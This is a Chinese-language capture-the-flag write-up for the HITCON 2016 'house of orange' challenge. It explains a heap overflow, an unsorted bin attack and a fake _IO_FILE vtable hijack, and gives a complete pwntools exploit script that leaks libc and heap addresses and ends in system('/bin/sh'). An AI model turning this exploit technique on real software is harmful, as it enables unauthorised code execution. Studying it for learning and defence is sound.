2016 ctf-HITCON——houseoforange

64位程序,保护全开  #house of orange #unsorted bin attack #IO_FILE

程序逻辑

 1 void __fastcall __noreturn main(__int64 a1, char **a2, char **a3)
 2 {
 3   signed int v3; // eax
 4 
 5   main_init();
 6   while ( 1 )
 7   {
 8     while ( 1 )
 9     {
10       menu();
11       v3 = read_int();
12       if ( v3 != 2 )
13         break;
14       see_house();
15     }
16     if ( v3 > 2 )
17     {
18       if ( v3 == 3 )
19       {
20         upgrade_house();
21       }
22       else
23       {
24         if ( v3 == 4 )
25         {
26           puts("give up");
27           exit(0);
28         }
29 LABEL_14:
30         puts("Invalid choice");
31       }
32     }
33     else
34     {
35       if ( v3 != 1 )
36         goto LABEL_14;
37       build_house();
38     }
39   }
40 }

build house函数,第一次malloc(0x10)申请结构体内存,第二次malloc(size)申请内存保存name,第三次calloc(1,8)申请内存保存color信息

 1 int build_house()
 2 {
 3   unsigned int size; // [rsp+8h] [rbp-18h]
 4   signed int color_id; // [rsp+Ch] [rbp-14h]
 5   void *v3; // [rsp+10h] [rbp-10h]
 6   _DWORD *v4; // [rsp+18h] [rbp-8h]
 7 
 8   if ( num > 3u )
 9   {
10     puts("Too many house");
11     exit(1);
12   }
13   v3 = malloc(0x10uLL);
14   printf("Length of name :");
15   size = read_int();
16   if ( size > 0x1000 )
17     size = 4096;
18   *((_QWORD *)v3 + 1) = malloc(size);
19   if ( !*((_QWORD *)v3 + 1) )
20   {
21     puts("Malloc error !!!");
22     exit(1);
23   }
24   printf("Name :");
25   read_str(*((void **)v3 + 1), size);
26   v4 = calloc(1uLL, 8uLL);
27   printf("Price of Orange:", 8LL);
28   *v4 = read_int();
29   chose_color();
30   printf("Color of Orange:");
31   color_id = read_int();
32   if ( color_id != 56746 && (color_id <= 0 || color_id > 7) )
33   {
34     puts("No such color");
35     exit(1);
36   }
37   if ( color_id == 56746 )
38     v4[1] = 56746;
39   else
40     v4[1] = color_id + 30;
41   *(_QWORD *)v3 = v4;
42   cur_house = v3;
43   ++num;
44   return puts("Finish");
45 }

upgrade house时的size与build时的size可以不同,最大为0x1000字节,造成堆溢出

 1 int upgrade_house()
 2 {
 3   _DWORD *v1; // rbx
 4   unsigned int v2; // [rsp+8h] [rbp-18h]
 5   signed int v3; // [rsp+Ch] [rbp-14h]
 6 
 7   if ( unk_203074 > 2u )
 8     return puts("You can't upgrade more");
 9   if ( !cur_house )
10     return puts("No such house !");
11   printf("Length of name :");
12   v2 = read_int();
13   if ( v2 > 0x1000 )
14     v2 = 4096;
15   printf("Name:");
16   read_str((void *)cur_house[1], v2);
17   printf("Price of Orange: ", v2);
18   v1 = (_DWORD *)*cur_house;
19   *v1 = read_int();
20   chose_color();
21   printf("Color of Orange: ");
22   v3 = read_int();
23   if ( v3 != 56746 && (v3 <= 0 || v3 > 7) )
24   {
25     puts("No such color");
26     exit(1);
27   }
28   if ( v3 == 56746 )
29     *(_DWORD *)(*cur_house + 4LL) = 56746;
30   else
31     *(_DWORD *)(*cur_house + 4LL) = v3 + 30;
32   ++unk_203074;
33   return puts("Finish");
34 }

利用思路

①通过堆溢出,修改top chunk的大小,然后分配一个大小大于top chunk大小的chunk,所以 旧top chunk就会被free掉,进入unsorted bin中,将其称为old top chunk
 大小满足
  1. 大于MINSIZE(0X10)
  2. 小于所需的大小 + MINSIZE
  3. prev inuse位设置为1
  4. old_top + oldsize的值是页对齐的
②然后再分配一个大小在large bin 的大小范围内的chunk,那么这个chunk的fd,bk字段指向main_arena中地址,fd_nextsize,bk_nextzsize字段指向堆中地址,通过两次upgrade和see将libc地址和heap地址都泄露出来。
③之后通过堆溢出修改old top chunk的size字段为0x61,利用unsorted bin attack将 _IO_list_all修改为main_arena+0x58(即&unsorted_bin+0x10)
④此时在&unsorted_bin+0x10处即为一个fake _IO_FILE结构,偏移0x60处即为chain,指向下一个_IO_FILE结构,而此处为main_arena中smallbin[4],之前将old top chunk的size字段改为0x61,之后会进入smallbin[4],而之前smallbin为空,所以链表头即为old top chunk,即chain指向old top chunk。
⑤第③步溢出时即可在old top chunk处伪造好fake _IO_FILE结构,偏移0x20处为_IO_write_base,偏移0x28处为_IO_write_ptr,偏移0xc8处为_mode,偏移0xd8处为ptr_vtable
   绕过检测:
        1._mode<=0
        2._IO_write_base<IO_write_ptr
⑥ptr_vtable指向伪造的vtable处,vtable[3]为IO_overflow函数地址,将vtable[3]伪造为system地址,
⑦如果再进入build_house函数,进行malloc(0x10),由于0x10<=2*SIZE_SZ,就会触发malloc_printerr,会遍历IO_llist_all,通过chain找到最终伪造的在old top chunk处的_IO_FILE,然后找到vtable,最终调用 IO_overflow函数
⑧调用IO_overflow时会传入_IO_FILE结构指针作为参数,将old top chunk处伪造的_IO_FILE的前几个字节修改为/bin/sh\x00 即最终调用为system('/bin/sh')
 
expolit
  1 from pwn import*
  2 
  3 p = process('./house_of_orange')
  4 elf = ELF('./house_of_orange')
  5 libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
  6 
  7 def menu(idx):
  8     p.recvuntil(': ')
  9     p.sendline(str(idx))
 10 
 11 def see():
 12     menu(2)
 13 
 14 def build(length, nm, pz, color):
 15     menu(1)
 16     p.recvuntil(":")
 17     p.sendline(str(length))
 18     p.recvuntil(":")
 19     p.send(nm)
 20     p.recvuntil(":")
 21     p.sendline(str(pz))
 22     p.recvuntil(":")
 23     p.sendline(str(color))
 24 
 25 def upgrade(length, nm, pz, color):
 26     menu(3)
 27     p.recvuntil(":")
 28     p.sendline(str(length))
 29     p.recvuntil(":")
 30     p.send(nm)
 31     p.recvuntil(":")
 32     p.sendline(str(pz))
 33     p.recvuntil(":")
 34     p.sendline(str(color))
 35 
 36 #set top_chunk->size=0xf81
 37 build(0x30,'a'*8,123,1)
 38 payload = 'a'*0x30 + p64(0) + p64(0x21) +'a'*16+ p64(0)+ p64(0xf81)
 39 upgrade(len(payload),payload,123,2)
 40 
 41 #top_chunk to unsorted bin
 42 build(0x1000,'b',123,1)
 43 log.info('-----------------------leak address-------------------------')
 44 
 45 #malloc largechunk to use old_top
 46 #leak libc_base
 47 build(0x400,'a'*8,123,1)
 48 #gdb.attach(p)
 49 off_to_libc_base=0x3c4b20
 50 off_to_main_arena=1640
 51 see()
 52 p.recvuntil("a"*8)
 53 leak = u64(p.recv(6).ljust(8,'\x00'))
 54 libc_base = leak -off_to_main_arena- off_to_libc_base
 55 print "libc base address -->[%s]"%hex(libc_base)
 56 
 57 #malloc largechunk again
 58 #leak heap_base
 59 upgrade(0x400,'a'*16,123,1)
 60 #gdb.attach(p)
 61 off_to_heap_base=0xe0
 62 see()
 63 p.recvuntil('a'*16)
 64 leak_heap = u64(p.recv(6).ljust(8,'\x00'))
 65 heap_base = leak_heap - off_to_heap_base
 66 print "leak_heap -->[%s]"%hex(leak_heap)
 67 print "heap_base -->[%s]"%hex(heap_base)
 68 
 69 #unsorted bin attack
 70 #_IO_list_all -> &unsorted bin-0x10  //fake _IO_FILE in main_arena
 71 #*(_IO_FILE+0X68)=*(&unsorted bin-0x10+0x68)
 72 #chain=smallbin[4]
 73 #old_top_chunk->size=0x61
 74 #old_top_chunk to smallbin[4]
 75 #chain -> old_top_chunk
 76 #make fake _IO_FILE in old_top_chunk
 77 _IO_list_all = libc.symbols['_IO_list_all'] + libc_base
 78 system = libc.symbols['system'] + libc_base
 79 log.info('-------------------------unsorted bin and build fake file--------------------------')
 80 payload = 'a'*0x400
 81 payload += p64(0) + p64(0x21) + 'a'*0x10
 82 #old_top_chunk=_IO_FILE
 83 fake_file = '/bin/sh\x00' + p64(0x61)
 84 fake_file += p64(0) + p64(_IO_list_all - 0x10)#unsorted bin attack
 85 fake_file += p64(0) + p64(1) 
 86 #bypass check
 87 #_IO_FILE fp
 88 #fp->_IO_write_base < fp->_IO_write_ptr (offset *(0x20)<*(0x28))
 89 #fp->_mode<=0   (offset *(0xc8)<=0)
 90 fake_file = fake_file.ljust(0xc0,'\x00')
 91 payload += fake_file
 92 payload += p64(0)*3
 93 #0xc0+0x18=0xd8
 94 #_IO_jump_t *ptr_vtable
 95 #file_adr+0xd8=&ptr_vtable
 96 #vtable[3]=overflow_adr
 97 #gdb.attach(p)
 98 payload += p64(heap_base + 0x5f0)#ptr_vtable
 99 payload += p64(0)*3#vtable
100 payload += p64(system)#vtable[3]
101 upgrade(0x800,payload,123,1)
102 p.recv()
103 p.sendline('1')
104 #malloc size<=2*SIZE_SZ
105 #malloc(0x10) -> malloc_printerr ->overflow(IO_list_all) ->system('/bin/sh')
106 p.interactive()

 

转载于:https://www.cnblogs.com/pfcode/p/10771370.html

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值